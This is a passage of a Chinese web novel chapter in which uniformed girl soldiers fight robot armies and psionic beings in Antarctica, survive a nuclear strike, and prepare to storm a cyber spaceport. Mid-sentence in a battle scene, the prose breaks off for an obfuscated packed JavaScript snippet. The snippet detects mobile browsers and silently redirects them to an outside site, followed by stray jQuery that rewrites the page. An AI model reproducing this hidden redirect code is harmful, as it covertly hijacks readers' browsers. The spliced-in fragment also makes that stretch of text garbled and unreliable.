指挥官不等参谋官发话，继续说：“红莲大人的命令就是且战且退，实际情况是我们高估自己了，面对弱小的敌人，我们就像一群木桩！听我命令，0元素不足5%的人撤到阵中，全员边打边撤，我负责断后。盼望夜兰大人能再冲几次吧。” 这是中路12个集团共同的困境，夜兰集团的情况也好不了多少，反复冲阵，全凭武技坚持。 最西端的铃兰集团全是二星队员，但指挥官铃兰犯了一个错误，她尚不自知，还带队向西猛冲，意图截断两支机械人偶部队，阻止它们前往家山南侧的工业局。 以3125人挡50万机器人的结果，就是迎战铁人汇成的惊涛骇浪，铃兰一人当先，以武技绝命剑，转出贴地龙卷风，席卷战场，而后方队员没能跟上，她就转回本阵，猛然觉察队员们被无处不在的机械人偶分开，她正要再冲，被两位参谋官架住，矮小的她，像个孩子，被大人拎了起来。 “你们干什么！” “铃兰大人！我们的任务是守住服务局！现在阻挡此等大军，且不说我们被困，敌军因为我们的阻挡，渐渐涌向东侧，那里的队友还能否撑住？她们都是一星！” 金发少女才明白自己犯了大错，她再次施展精湛武技，攻破各队之间的阻隔，带队杀回东侧。 铃兰身披黑色大衣，头戴黑帽，一对长长的金色双马尾在身后飘绕，手持的黑剑迅捷如电，身形矫健如龙，在战场上所向披靡。她不断穿梭于敌阵之中，每一次冲锋都充斥了顽强的气息。 她们的身影在风雪中若隐若现，仿佛成为了这场战争中最耀眼的明星。 铃兰集团费了一番功夫，终于和其他集团汇合，而这样一来一回，对这支精锐集团的士气消耗极大，已经无力支援更多集团了，铃兰令队员们守住西侧翼，自己只身赶往各个战场，尽力挽回自己的失策。 风雪席卷了东侧战场，雪花纷纷扬扬地飘落着，将那些残破的兵器、散落的机器人残骸都覆盖在了一层厚厚的白雪之下。 大自然在用自己的方式默默地注视这场战役，每一个细节都充满了真实和冷酷。 玉珊瑚犯了同样错误，所幸她畏惧东部雪原地势复杂，冲的不深，及时带队冲回，因此她的精锐集团士气较高，她留了一半队员帮相邻集团守卫侧翼，亲自带余部打通了三个集团之间的联系，正好与夜兰汇合，二人相见即拥抱，一句说话的空闲都没有，只是一起匆匆看一眼远处的业凰科学院，外墙上都是机械人偶，像一座爬满无数蚂蚁的白色蛋糕。 这两位副官再分成两拨精锐队伍，在20公里长的战线内来回冲杀，成功将15个集团连成一体，边打边退往后方的服务局，天烛让武技好一些的后勤队员开车接应，战局终于趋稳，业凰集群大概歼灭了20万个机械人偶，余敌在业凰科学院后方形成半包围圈，持续对业凰集群施压。 当精锐队员找到铃兰的时候，她独坐在一座铁山上休息，众人把她拖到后方基地。 铃兰刚躺进运输车就坐起来说：“都是我的错。” 天烛只能安抚她。 “错就错了，好在没酿成大错。铃兰，听我一句劝，你武技是强，但智谋不如一般参谋官，以后要多跟参谋们学习，不要再犯了。” 铃兰点头，回车内休息。 天烛再查阅前线战报，细心的她，在千份报告中注意到一个细节，敌人将死掉的机械人偶拖离战场，似乎运往了北方，一种不祥的预感涌上天烛心头，竹桃带来一个集群支援业凰，使前线队员得以回后方稍歇。 南极内陆万里雪原，无处不硝烟弥漫，火光冲天，大地上点点光雨是机械人偶发射的激光弹划破夜空，精准无误地击中了黑衣少女们，但她们飞驰如猎豹，动作灵活，能在雪地上高速穿梭，不断将敌人砍为一堆废铁，雪地上留下了不计其数的焦黑痕迹，偶尔爆炸产生震耳欲聋的轰鸣，将周围的积雪震得四散飞扬，形成一道道壮观的雪雾空气中弥漫着钢铁碎裂产生的耀眼光芒和刺鼻的气味。 雪地上布满了被摧毁的机器人残骸，以及融化后重新凝结的冰晶，战事进行到这种程度却不见敌方数量再大规模减少。 娱乐至死的玩偶 业凰科学院内部到处是机械人偶，它们视觉瞄准射出的红点在白色墙体上高速移动，让整个学院犹如一座防卫严密的高科技监狱，底层宿舍楼群的窗口和门口不断跳出人偶，还有人偶分队将钢铁残骸拖到底层广场，形成一座小山，人偶从石阶长廊向业凰石山上奔跑，分散搜查中层各学科大厅和宿舍，再汇聚到高层长廊，挨个搜寻塔楼群，寻找生还的人类。 红莲和125名三星队员躲藏在最高塔的阴影里，这个位置基本能看到业凰附近的情况，机械军团搜集人偶尸体，在战场后方堆了多座铁山，再将铁山拆分运往北方的雪牢关方向，关口的黑色巨门大开，多个巨大的蛋形装置被人偶部队拖入内陆，不久后便从高塔视野盲区跑出大量人偶去支援各地战场。红莲伸手，单指触唇，示意队员们不要动，她只身一跃，跳向业凰最高处的白色巨石，再向上跃爬，最终站在象征业凰的凤凰头上。 黑发少女迎风站立，一身黑色队服，威风凛凛，她俯瞰学院北侧雪原上的敌军总部，有九台黑色蛋形装置运进内陆，其中三台已经工作，机械人偶的残骸被巨蛋底部的传送带吞入，从蛋体中部的多个喷口吐出崭新的机械人偶，这种蛋形装置就是业凰会长情报库里提到的机械母巢，一旦九台全部投入运行，将能耗死人类阵营。 业凰下方雪地上的数千个人偶中只有一个特别，它的双眼不发红光，因为它距离红莲的直线距离不超一公里，红莲隐约能看清它脸上的丰富表情，而且它有头发，还带着白色荷叶边发带，身上的装甲外穿了白围裙，没装备激光步枪，腰跨四刀，其他机械人偶经常对它行礼，红莲可以百分百确信它就是机械军团团长咖啡。 三星队员们看到红莲做出延时出击的手势，再看到三指就是三秒，众队员探身，抓住高塔外墙，遥望红莲从鹰头上一跃而下。 风有多快，她就有多快，风与她形成了相对静止的时空，夜空中的万千雪流，被她扰动汇合，化作她身边的变幻莫测的白纱飘带，当地面上的机械人偶部队搬运残骸时，无意间看到红莲冲下，这画面同步发送到咖啡的电子脑中，咖啡急忙抬头，见数百人偶早已跳到自己上空，一名头戴黑色大檐帽并身穿黑大衣的女子从天而降，她身绕无数雪花，单手将剑藏于颈后，黑色长发和大衣一起飘动，像一朵美轮美奂的毁灭之花。 机械人偶群一瞬炸散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875304|176283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，咖啡自己也抽双剑格挡，连剑带手全碎掉了，可它好歹保住性命，驱动机械小腿的喷气弹射，向远处急跳，趁空隙，它扭头回看黑发女子的情况，却不想眼前一道黑光，是红莲一剑划碎了咖啡的视觉设备。 咖啡是机器人，能360度旋转头部，就巧妙的躲掉这剑招的后续攻击，它用信息传输控制其他人偶充当自己的眼睛，继续向北逃窜。而业凰城上接连跳下百名黑衣队员，她们武技出众，一阵冲锋就消灭了数百人偶，帮红莲打出一条通路，红莲提示队员赶紧摧毁机械母巢，而她自己继续追击咖啡。 三星队员们的战果导致咖啡附近能充当视线和信息中继器的人偶不断减少，就在这危急之刻，咖啡脑中接连出现以万为单位的人偶信号中断，说明机械母巢遭到破坏。 瞎眼且断手的咖啡，凭借记忆库推理出的三维地图，狼狈的跑到业凰环丘下方，距离雪牢关近在咫尺时，一下冲击让它的头摔掉了，原来是红莲施展一命剑，全速冲刺，撞倒咖啡并砍掉了它的机械脑袋，红莲中队的行动彻底根除了机械军团的控制信号，南极内陆仍存的近百万个机械人偶同时跌倒，战役胜利了。 队员们追上红莲，相拥庆祝，红莲笑过，回头遥望，广袤的大地，曾经洁白的南极家园，如今是遍地烽火和机械尸体，灵能会不可能这样善罢甘休。 她再向北望，光滑的冰坡长约万里，像一弯月牙，环抱南方的业凰科学院，因此得名业凰环丘，环丘北方是白雪平原，平原北方，可见一座巍峨雄关，是家山东坡和空港山脉西角的交界，500米高的巨大黑色铁门全由生长金属拟态而成，是南极内陆的重要屏障。 “大家听我说，战端已开，为了南极有喘息之机，我们得尝试关闭雪牢关。” 众人听红莲这么说，就问：“靠我们，能行么？” “你们跟在我后面，我一个人上前打探。” 红莲整理了一下黑色大衣，端正黑帽，捡起自己脚边的咖啡脑袋，递给队员，微笑离开，径直向环丘坡顶猛冲。 下一刻，白晃晃的环丘的边缘，忽现一圈银色人影，红莲太熟悉这种通体银色的人形怪物是什么了，它们上身前后安装了带六组灵能立场发生器的钢制装甲，可实现低空高速飞行和能量护盾，腰后别了一对银钢制的灵能佩刀，腹部黑甲连的多条拘束带缠绕双腿，再看脸部是一个白色面甲，头部是一个水母状的透明生物在晃动，水母向下伸出很多条自主蠕动的线缆，任何人类看到它们都会吓的不知所措。 一千，二千，三千，红莲目测侍灵足足有四千个。 试图挽救世界级错误的人，必然时刻面临无可乐观的极度绝望。 白风萧萧，夜空寥寥，少女身后是空寂深广的南极内陆，活人仅存的居所。而她前方，千米冰环上，站满了无敌的神兵。 现场的光，像是在宣告灵能会这无与伦比的绝对暴力。 掠过红莲的风，像是在嘲弄她自以为是的永恒信心。时间与空间中的片片雪花，又是在旁观英雄末路，这一切的一切就是在说，世上没有对错，没有是非，弱就该死。 自然弱，该死。 人类弱，该死。 顺从此理之物，只剩雪花了。 顺应此理之人，化作微尘了。 天地间，唯有夜星少女，甘心以纤躯挡洪魔，以锐志迎星落。 红莲向后做撤退手势，她表明自己断后。 众人迈前半步，就见侍灵阵型缓缓散开，阵中走出一人，身穿纯白连体衣，窈窕身段与金黄大卷发让包括红莲在内的每位业凰学子都愣住了，再看她面貌未变，还是昔日那般贵气优雅，却没有一丝人味，活脱一个假贝莎，她胸腹没有一点起伏，口鼻没有一息热气，腰配黄金细剑，已是侍灵无疑。 红莲面对曾经的恩人兼好友，顺直黑发间的清冷面容上，嘴唇不停颤抖，眼中也没了锐气，她不止没法说话，更没法行动，队员们看她拿黑剑的手都在抖。 “红莲，呵啊，我不是人了，不敢见你，又想看你。” “贝家社员呢。” 红莲想用别人的事分散她俩之间的情谊，而贝莎不想正面回答，就向身边摆手，示意同族社员都变成没有自我意识的侍灵了。 “你就为了自己能进化成这样？” “家主大人乞求灵能神，赐予我成为高阶侍灵，属于灵能自主者阶段，是允许保留部分自我意识的高灵能生命体。天家主争取到了灵能造物者阶段，是能凭空造物的超级灵能生命体，所以北极也开战了，你们的新武器暴露了。侍灵全军总帅星神大人认为这次战争威胁到了灵能会安全，决定根除现有人类。红莲你化解了第一波攻势，我躲在坡后，暗自为你喝彩，但你不能夺关，星神给我的命令是守关，意识强制力逼迫我出来见你。” “我和侍灵之间，只能活一个。” “莲，我知道你的剑术，你决心跟我同归于尽，这4000个侍灵挡不住你，可你真正的对手不是我，贝家主大人即将带大军来找恶毒女王和谈了，红莲，快回去吧。” 贝莎充分利用了仅剩的意识自主权，将重要情报告知了红莲，情谊之深，让红莲满目泪光，战意尽失，黑剑也一同瓦解了，她几乎要控制不住自己了，想拥抱贝莎。 然而，双方已是敌对物种之别，红莲不知道以后再在战场相遇，要如何面对她。 红莲稳步走近冰坡，下定决心，咬牙，右手重构黑剑，左手握住剑身，一剑割破，白手套迅速被血染红。 “活着，对我来说是最不重要的事了。你我已是人鬼殊途，今日见红断义。以后相见，只有搏杀，我欠你的，死后报答。” 这对绝交的姐妹各自含泪退后，离开业凰环丘。 队员们一路默不作声，看着敬爱的姐姐的手套红透了，滴着血珠，她们拖住，再簇拥红莲，试图温暖她，一起回到大家身边。 核爆 灵能会奴隶院机械兵团的信号瓦解非常及时，因为工业局和运输局都没守住，都是一路冲杀，向首都方向逃亡。就在各集群突围不成，玛丽安援军迟迟不到之时，机械人偶大军倒下了。 五位局长云集首都城外的大营，个个灰头土脸，只有曼达的状态还算好一些，近身肉搏战对于习惯于远程武器作战的人类来说，太难了，人们心有余，而胆不足，全靠各位将军级队员四处施救。 业凰社员练过五场群体战，培养出了过万名二星及以上队员，很好的稳住了集群的指挥网络，才有歼敌近30万的战果。 玛丽安见各位会长垂头丧气，也不敢多说什么，因为是她顾虑首都失守，援军行动迟缓，她见业凰科学院没派人来，就急问：“红莲呢！” 天烛正好走到门口，立刻接话：“我是副会长天烛，红莲姐摧毁了机械兵团指挥中枢，现在组织搬迁业凰科学院内的资料和设备，先运往服务局。完成后就过来。” “是红莲做的吗？太好了。” 玛丽安激动的摩拳擦掌，在座局长们的脸色却让她感觉到敌意，就收敛了兴奋感，再询问天烛。 “业凰科学院的情况怎么样？需要什么补给，我马上派人。” 她看天烛的表情忧愁，就知道天烛想说又不敢说。 “没事，就在这说。” “可靠情报，侍灵大军即将入关。” 玛丽安用拳一敲地图桌。 “它们都不让我们缓缓吗！” 紫洋嘲笑说：“这又不是打游戏，给你什么空隙练级调整，这是真正的战争，攻势肯定一波比一波强啊！” 天烛见重要的事还没说出口，就反复想插话，众人一起看她，才开口了。 “请恕我僭越，恶毒女王陛下可能是叛变了。” “你说什么！你有证据吗！” 玛丽安指着天烛的鼻子呵斥完，再看王储紫洋低头揉脸，没跟自己一起问责天烛。 众局长怒视玛丽安，使她觉察自己是唯一不知道真相的人，或者说她知道，每次王宫密使往来于北海岸和首都的行程都被她的暗哨发现了。 千鸟深吸一口气后，语气平淡的说：“我妹妹千里，目击到两次，女王的近卫武官出了雪牢关。” 黑巴起身离坐，说道：“我最讨厌叛徒了！玛丽安大姐，原谅我不能听你的了。你和恶毒是好姐妹，守着首都逍遥吧。” 她说完离帐，千鸟也跟出去了。 曼达和首都卫戍军团的参谋官用眼神沟通，决定不依不饶。 “我们的忠心，是给代表南极全民的女王，不给叛徒。” 阳荷插话：“曼达你先等等，我们还没有足够的证据。” “晴灯母女给了南极0元素，是给南极全体人类的，玛丽安你将公器私用，我们还要感谢你吗？你我是同期将军，你太丢人了，你忘了冰雪女王的遗志了吗！” 曼达说完，愤而离去。 玛丽安一边用双拳捂着嘴，一边流泪，她知道红莲不想当面跟她争执，各局长也把这事憋在心里，就等玛丽安自己承认，恶毒女王不得人心的原因。 “我自己知道，是真的。” 多技术雷达车侦测到北海岸上空出现高超音速的飞行物体，技术落后导致侦测能力突破不了电子战屏障，巨型火箭进入南极领空才被雷达发现，首都内外防空弹幕自动开火，首都城区自动拉响警报。 首都城下大营，队员拿着报告，急跑十步，来到玛丽安帐门口，还没等她张嘴，背后的旷野升起太阳。 27. 章27南极：赛博空港战役 随着火箭引信的倒计时声在冰冷的空气中回荡，突然间，远处的地平线仿佛被撕裂，几道刺目的光球划破夜空，那是多枚核弹被同时引爆的预兆。 空气在这一刻凝固，即便是最微小的雪花也暂停了它们的飘落。 终于，那一刻来临，耀眼的光芒从多个火球深处猛然迸发，瞬间刺穿黑暗，照亮了整个雪原，将原本昏暗的夜空撕裂开来。 起初，那光芒是柔和而温暖的橙黄色，如同初升的太阳，但转瞬间，它便化作了刺目的蓝白色，那是核聚变释放出的无尽能量，在极短的时间内将周围的一切染上了一层不真实的色彩。 雪地被这突如其来的强光映照得如同白昼，每一粒雪花都似乎在闪烁，释放出短暂而璀璨的光芒，原本洁白无瑕的雪地瞬间被火焰吞噬，炽热的光芒将周围的一切染成了血红色。火光冲天而起，与夜空的深邃形成鲜明对比，仿佛地狱之门被猛然推开，无尽的烈焰与毁灭之力倾泻而出。 爆炸中心，雪与火交织成一幅末日景象，雪花在高温下瞬间汽化，与上升的蘑菇云一同融入那片扭曲的天空。 紧接着，第一声轰鸣如同远古巨兽的咆哮，震撼着每一寸空间，连环的爆炸声，它们相互交织，重叠成一股无法言喻的恐怖力量。 □□爆炸时产生的巨大冲击波，以惊人的速度席卷整个雪原，它像是一只无形的巨手，狠狠地拍打大地，将厚厚的积雪掀起，形成了一道道巨大的雪浪，它们翻滚着、咆哮着，向四周扩散。 与此同时，一股强烈的热浪以爆炸点为中心，向四周席卷而去，将周围的一切都包裹在了高温之中。 雪原上的积雪迅速融化，形成了无数条湍急的水流，它们交织在一起，汇聚成一片汪洋大海，但随即又被高温蒸发，化作蒸腾的水汽，与空气中的尘埃和碎片混合，形成了多个浓厚的蘑菇云，直冲云霄。 火光逐渐减弱，但余烬仍在夜空中跳跃，映照着下方支离破碎的景象。 雪原上，巨大的弹坑如同大地的伤痕，深不见底，周围是焦黑的土地和融化后又重新凝结的冰层，一片死寂之中，只有偶尔传来的冰块断裂声，空气中弥漫着刺鼻的焦味和辐射的恐怖气息，连呼吸都变得异常艰难 。在这片被诅咒的土地上，曾经的宁静与美丽荡然无存，只剩下无尽的荒凉与绝望。 极致的暴力不允许对手有一丝一毫的生还可能，一粒煞白光点出现在冰雾弥漫的南极上空，气势丝毫不弱于刚刚发生的核爆，随着第一缕狂风悄然掠过雪面，短暂的平静被彻底打破。风速骤增，仿佛有千军万马自天际奔腾而来，带着不可一世的气势，席卷整个内陆。 冰粒和水流在狂风的驱使下，不再安静地躺卧于地，它们被卷起，形成一道道白色的漩涡，在夜空中狂舞。 这旋转的白色飓风，突然被神秘力量赋予染成灰色，乌云在飓风上方形成一圈宏大无比的碟形云团并不断增厚，使整个风暴的形状如同一只气态水母，每个南极人都知道这是什么天灾，名为灵能风暴的噩梦。 飓风水母的怒吼声逐渐清晰，它不再只是简单的风声，而是夹杂着雪粒撞击冰晶、冰块相互摩擦的刺耳声响，以及光电和未知能量的混合搅拌，共同编织成一首惊心动魄的自然交响乐。 在这声音的伴奏下，雪原仿佛变成了一片沸腾的地狱，气浪汹涌，风雪滔天。 首都城内和城外的防空阵地打出超饱和弹幕，阻止核弹攻击首都，甚至掩护了服务局。 实际核弹和灵能风暴攻击的目标原本就不包含首都，大多数业凰队员在核弹爆炸的第一时间，躲进了服务局的掩体中。 当大家担心开始红莲，就顶着核爆余波和灵能风暴的风力，从战壕里探头张望，看到火焰与灰色风暴绘制的魔境，恐惧与希望都不存在了，一切都在燃烧，气化，旋转。天地不分，视线混沌，声与光交融出鬼魅邪变的梦幻，世界好像已经被暴力撕碎了，使人们感受自我的存在已成酷刑，观者无不祈祷自己最好尽快死亡。 就在这样的梦境，一行人，互相搂肩，硬是在白光和灰色风暴共舞的残暴现实中走出地平线，她们身缠火焰，渐渐走近，业凰队员们跑出战壕相迎，看红莲内穿的白衬衫已经烧没了，长发和队服被散落的水气浸湿。 她用意识通信下令：“辎重不要了，业凰全员向南，立即出发，到首都城下大营休整。” 核爆破坏了服务局附近停放的近万辆运输车，队员们在学院堡垒里取了营养剂，匆匆步行，夜星的寒流开始中和核爆留下的高温气团，风力陡然增加，水雾很快变成冰刀，就连队服上的水流也迅速结冰，大家才明白必须赶快到达玛丽安营地，否则自己可能被冻结成冰雕，疲惫不堪的五万人就在这种形势下，再顶风急行，进驻巨墙下的大营。 万里营地聚集了二十多万名队员，帐篷和防御工事内外都人，战壕外的起重机正在吊升运输车，紧贴巨大城墙的升降机开始将白猫部队及其物资运往城内，她们的身体不免疫辐射，大量崭新的运输车也从首都城上运下。 队员们堵在各个居住舱外排队梳洗，玛丽安派龙葵集团到服务局换防，曼达集群随行拖来了更多居住舱，方便队员们完成个人卫生，总之，大营内外的情况只能用混乱不堪形容。 红莲到营，使各集群燃起信心，各位局长跟随她，再次进入玛丽安的大帐。 “按参谋推算，冰火风暴结束前，我们有两个小时应对侍灵大军。” “我帐里有套卫生设备，你先休整一下吧。” 红莲累到没余力避讳，消去队服，走向卫士舱，其他局长转过头去，红莲换了一套新内衣和衬衫，她很想睡一会儿，却再变出队服，坐回会议桌，咬开一瓶营养剂。 “我听天烛说，各位局长跟你吵架了？” “嗯。” 红莲放下营养剂，说话：“没事的，反正我们都要死了，还吵什么呢。我不怪你，不怪恶毒。现在的情况已经比我当初预想的一个人战死好过万倍了。” 局长们听红莲这么说，各自低头不语。 “你们不会死，也不该死在这。” 玛丽安说着，变出0元素信息板。 “我以0元素最高星者的权限，最高指令授予红莲升星。” 红莲惊讶的边吃边看玛丽安操作完升星流程，发现自己视线画面的五星标识多一颗星，她摘下黑帽，看到帽檐上是六颗黑星，变出自己的0元素信息板，最高指令程序已移交自己手中。 玛丽安继续说：“我将除御前军团外的所有部队指挥权移交到你麾下，包括首都卫戍军团10万人，第一工业局46875人，第二工业局，第一运输局，第二运输局各31250人。伤员先进首都避难吧，诸位，原谅我，我们御前军团当初剿灭三家，是为了南极不再内斗，但屠杀同族的罪行无法消除，恶毒可以背叛我们，我们无法背叛她，你们走吧。东北方的赛博空港只有五万侍灵，镇守在那里的歌剧院长唱歌者跟家园堡守将战争执刑分流了部队，这是我苦心侦查来的情报，你们人多，攻陷那里不难。这样赛博空港和首都再成犄角之势，增大战略纵深，如果首都没救了，你们可以尝试从东关口逃离南极。” 红莲起身，对在座局长敬礼，她们也站立回礼。 “我们没时间婆婆妈妈，六星总帅红莲在此任命各学院局长为将军，卫戍军团划归我统领，参谋官找天烛副官报道，全员最迟于一小时后完成休整，各带运输车到大营东侧集结。” 人们离帐，去调遣队伍。 玛丽安感觉重任离肩，仿佛又回到当初简简单单的军营生活。 “你不带上橡树和晴灯博士吗？” 红莲转身对玛丽安微笑，再坐下。 “我一定会回来的。” 红莲说了半句，话锋一转。 “侍灵的战斗力远超机械人偶，大家却是人类，怯懦，胆小，慌乱，发愣在所难免，这场夺城战很难。既然核弹不攻击首都，说明那里相对安全，他俩留下更好，人各有命，生死难料，我也一样。” “红莲你变了一点。” “是，我刚经历过公私决断，众人把生命交给我，我就不能只顾自己了。” “可我觉得你能赢，或者说我希望你赢。” “别人也这么说过，我自己却一点赢的感觉都没有，只觉得周围都是刀山火海，背后有队友们。” 红莲说到队友，笑容自然驱散一切阴霾，让玛丽安也笑了。 “假如有一天，能看看蓝天就好了。” “我试试帮你完成这个心愿。” 她说完，抖擞精神，站直，向玛丽安敬礼，再看这位红发的女将军，真是一位美人，美艳的脸孔总都流露自信，黑色制服和紧身裤显露着她不懈锻炼的身姿，气定神闲的状态是人类中少有的豪杰，可红莲隐隐觉得，这是自己最后一次看她了。 红莲闭目，转身离开。 磨练心智 大营东侧，临时征调的五千运输车装运物资，不时还有刚梳洗完毕的队员跑向车队，她们得乘车追赶大部队，红莲派千鸟带队，暂时关闭了魔鬼塔的入口，避免侍灵部队趁虚而入， 全员承受着冰风暴，在遮蔽天地的白雾中艰难步行，西侧的风暴更加恐怖，内陆白茫茫一片全是暴风，龙卷风被杂乱无章的气流撕扯变形，再聚拢缠绕，时而迸发剧烈气爆，风催音速，产生足以刺穿人类耳膜的强烈音波。 所幸人们有0元素护体，各自挽手，挤成密集队形，混白天地之中，三队蚁行的黑色队伍是人类最后的顽强。 阳荷集群路过大凹坑，站在坑边，粗略观察，第一运输局的入口车站已被核弹摧毁，她们咒骂几句，继续归队向北前行，阳荷猛跑几步，跳上一辆运输车，这是临时指挥部，车厢门关闭，内部满满当当挤了30多人，有各位将军及副官，还有集群级和集团级的指挥官和参谋官，红莲不说废话，直接说重点。 “业凰集群作为预备队。我们必须立即进攻，赶在侍灵主力入关前，拿下赛博空港。据此，我要求其他集群的二星及三星队员组成精锐前锋，突破空港平原外围敌军，你们各自报告，能出多少人。” 两位参谋官同时说话，改成一名先说：“原卫戍军团的队员都是二星。” “都是二星？” “对！我们军团原本就是南极精锐，玛丽安建设城下大营时，让全军服用了0元素，之后也进行过群体战演练，都升为二星队员了。” 红莲心里再次感激玛丽安，随后说：“好，你们重编为主力集群，在空港平原南侧组成面形攻势，余量不足10%的队员就撤到后方。其他集群呢？” “我能拿出一个精锐集群，三星和二星混编。” 紫洋挠着耳朵，说完。 黑巴说：“我有三个精锐集团，也是三星和二星混编。” 千鸟：“我能凑出两个二星集团。” 阳荷：“一样。” 曼达：“一样” 红莲接话：“那这样，阳荷负责西翼，千鸟负责东翼，紫洋负责中线，黑巴负责千鸟和紫洋的连接处，曼达负责阳荷和紫洋之间，我负责协调各队，我们精锐队伍的任务是突破和协助主力集群的攻势，不要擅自冲太远，被敌军包围，没人有余力施救。” 天荷副官插话：“那要打成扫荡战役吗？敌军如果边打边撤呢？” 红莲：“对，你补充的很好，敌人低于十人就绕过，留给后方队伍包围清理，这些一星队员总得战斗才有机会提高，后勤队员在战线后方中部组成移动营地，救助弱能队员和伤残队员，我们最终目标是全员进入赛博空港，在利用城防固守休整，避免被侍灵主力歼灭。” 众人跳出车外，开始组织编队，一时间，队形从纵队变散，队员们顶风穿梭滑行，暴雪势微，到处都是滑雪的黑衣队员，她们来来往往，在赛博空港城下的千里平原南部组成大片战线，敌方的指挥官不等人类一方完成编队，派出小股部队袭扰。 红莲带三星的业凰中队迎击，侍灵的移动速度和队员相同，动作比三星队员稍慢，但侍灵的身体用纯能量灌注的，没有骨骼，所以能做出诸如反关节和旋转关节这样的匪夷所思的武技动作，加之恐怖的银皮人身和水母头外貌，让队员们很不适应，都挨了几剑，三星队员从损失的0元素存量判断，自己能挨20到30剑，那么一星队员最多挨5剑就会变回普通人类。 有时候，星级相同的队员，才华却不同，业凰队员更早学习真我剑术，思维机敏，她们在战斗中学习红莲的应对方式，只见三名侍灵围攻红莲，而她虚晃一剑，迫使一名侍灵的头转180度，胳膊也反转，腿跑了一步也转到背面，这侍灵的后背成了正面，身体的银皮一瞬涌动，就完全变成正面了，这也证明侍灵的银色连体衣的内部只有能量，从而做出这种奇葩的变形。 另外一名侍灵被红莲踢向空中，按正常人体力学，需要落地再攻击，可它在空中运用灵能立场发生器，获得浮力和推力，再挥双剑刺向红莲，还有一个侍灵直立漂浮后，极速旋转双刀，像一个有刀刃的陀螺，转向红莲，红莲不躲，直接用黑剑格挡，打碎了侍灵的双刀，再蹬地使出踢击，踩踏旋转的侍灵，跃起，抓住从天而降的侍灵胳膊，使它不能攻击，那个背面变形的侍灵正好攻过来，快砍到下冲的侍灵时就收剑，红莲则一剑刺死了抓住的侍灵并用它作掩护，绕到背身侍灵头上，刺死它，浅蓝色的灵能气雾从银衣涌出，断剑的侍灵正想拣剑再战，红莲大迈一步砍掉它的双臂，创口不断向外喷发蓝炎，它还要用脚抓剑，一位队员补刀，黑发少女的整套动作行云流水，一回合就将敌人全灭，留下三套银衣。 红莲对看呆的队友们微笑并说：“很简单的，比我们弱多了。” 她这阵武技示范，验证了侍灵的战斗特点，一是队员的黑剑能一剑砍断侍灵的身体，命中水母头的话，就能一击毙敌。二是侍灵有浮空立场和特殊动作，不能按人类对手的思路，再用花哨招式，简单来说就是先防侍灵的剑，攻击注重一个字，快。三是侍灵会跟同伴配合并避免误伤同伴，这是程序强迫它做的反应，队员们可以利用这点。 于是这支中队很快适应怎么消灭侍灵，穿行于阵线前方，击退了四支侍灵小队，其他集群的队员看的明白，视线画面也开始传播侍灵的弱点。 然而，被侍灵突袭攻击的一星队员都退到后方了，足见侍灵的剑击虽能被队员的0元素中和，队员却挨不几下，队员和侍灵的战斗力对比，像武术家对战五个强壮的普通人，绝不能称为实力碾压，仅能认为略有优势，在群体战斗中，优势会被敌人的数量抹平。 另一方面，侍灵是灵能机器批量生产的程序人，不存在害怕和犹豫，而人类的心理素质能不能发挥出应有实力还是未知数。 全员汇成绵延千里的厚实阵线开始向北推进，侍灵指挥官派出三万部队，分成六队阻挡人类，不能说是一触即溃吧，人类战线也算是被侍灵挖出六个凹形，红莲的计划是同步推进，这是担心侍灵部队直接突破战线，威胁到后方，那样战线就会真的崩溃。 于是各精锐集团开始支援这些受攻击位置，主力集群的队员是靠练习升到二星，武技尚可，配合与精神状态完全不行，参谋官们不停从未收攻击的位置抽调队员，战线一时陷入停滞，你没听错，近三十万队员被三万侍灵打的停止前进，这就是实战与纸上谈兵的区别，人想的和人能做到的是两码事，即便实力远高于对手，做不到就是做不到。 自动武器能弥补人类的心理素质不足，但这是末世，还是打外星科技大军。 想象力 黑巴眼见紫洋集群冲散一支侍灵部队，向北突进过远，就亲带三个精锐集团，人人身穿黑衣，脖子上的超长围巾能和长筒靴同步释放0元素能量场，冲刺能量极强，猛冲周围的两支侍灵部队，敌军刚被她们冲散，就又汇合。黑巴集团的每次冲击，其实没消灭多少敌人，队员在高速移动中没法精准施展剑击，倒是挨了不少攻击。黑巴一向平静的表情变得咬牙切齿，副官藤萝见状就说：“我带一个集团留守战线吧。” “你？能行吗？” “没事，我好歹是四星队员。” 黑巴接下来的冲锋，再冲散一支侍灵部队，留了一个集团在此固守，侍灵部队再围过来，发现战线不想上次那样容易攻陷了，三星队员们也不管什么武技不武技的，跟侍灵硬莽，彼此伤害，队员是一剑一个，侍灵得砍十几刀，主力集群的二星队员也学会了，五人一组硬抓侍灵砍死，这样换战损虽然有效，但也增加了败退队员的数量。 混战的人群之中，藤萝摘下背的狙击步枪，她十分喜爱这款CM9山猫狙击枪，认为是古代机械工艺的杰作，所以用3D打印机造了一把，稍有空闲就把玩，步枪支持用半蹲姿射击，藤萝先试射了一发，子弹打在侍灵身前就被透明防护罩弹开，说明身含0元素队员能无视防护罩，但其他物质就不行。 学者出身的藤萝来了兴致，回想自己读过晴灯博士编写的关于0元素的论文，理论上，意识可以控制0元素变成任何东西，刀和衣服因为结构简单和人们用习惯了，只要在脑海中精确构建物体的性状，就应该能变出来。 巧合的是，藤萝精通工业学和材料学，非常擅长构想模型，用意识构建了一枚黑色子弹头，单手拔掉常规子弹头，将0元素弹头按了上去，上弹，之后她还要在扣动扳机的同时，让子弹释放能量场，才能把子弹推出去。 藤萝细心瞄准，整个过程没有一丝分神，学者的天赋！ 砰！ 炸膛的威力摧毁了整支步枪，炸的藤萝的绿色长发像狮子鬃毛一样四散，她耳鸣眼晕，灰头土脸，可远处的一个侍灵真的被她击毙了！ 那侍灵旁边的队员都不知道发生了什么，看看地上的干瘪银衣，才明白是藤萝副官干的。 远程武器！ 